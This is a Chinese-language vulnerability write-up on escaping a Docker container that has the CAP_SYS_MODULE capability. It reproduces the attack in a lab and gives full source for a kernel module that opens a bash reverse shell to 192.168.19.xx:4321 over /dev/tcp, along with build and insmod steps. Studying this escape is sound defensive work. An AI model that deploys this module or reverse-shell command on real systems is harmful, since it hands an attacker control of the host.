容器逃逸漏洞分析 危险配置 SYS_MODULE
一、漏洞简介
开启cap_sys_module权限的容器允许加载内核模块。由于容器与宿主机共享内核,攻击者可以在容器内加载包含恶意代码的内核模块,获取特权后进一步逃逸并控制宿主机。
二、前置知识
CAP_SYS_MODULE
从 Linux 2.2 开始,Linux 将传统上与超级用户相关的权限划分为不同的单元,称为能力(capabilities)。 能力是每个线程的属性,可以独立启用或禁用。
其中CAP_SYS_MODULE允许进程可以通过init_module()和delete_module()系统调用来加载和卸载内核模块。由于内核模块具有内核态命令执行权限,该能力是关键能力之一。
三、漏洞利用路径
- 准备恶意内核模块
- 通过finit_module()或init_module()加载准备好的恶意内核模块
- 执行恶意内核模块中的payload(如反弹shell)
四、漏洞复现
环境配置:
- ubuntu 20.04
- docker 23.0.2
搭建环境:
# docker+k8s
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
# 启动带cap_sys_module配置的容器
./metarget cnv install cap_sys_module-container
编写自定义模块reverse-shell.c
,代码如下:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.19.xx/4321 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
编写Makefile文件:
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
然后执行make
编译模块:
make -C /lib/modules/4.15.0-132-generic/build M=/home/nsfocus/sys_module modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-132-generic'
CC [M] /home/nsfocus/sys_module/reverse-shell.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/nsfocus/sys_module/reverse-shell.mod.o
LD [M] /home/nsfocus/sys_module/reverse-shell.ko
将编译生成的reverse-shell.ko
文件拷贝至容器内,把/sbin/insmod
、/bin/kmod
拷贝至容器对应目录,执行insmod加载模块,最终成功获取宿主机的shell。
五、总结
容器中80%的风险来自于配置不当,其中linux capabilities是容器权限中的重要配置项。本文简要介绍了具有CAP_SYS_MODULE能力的容器是如何加载恶意内核模块并完成逃逸的过程。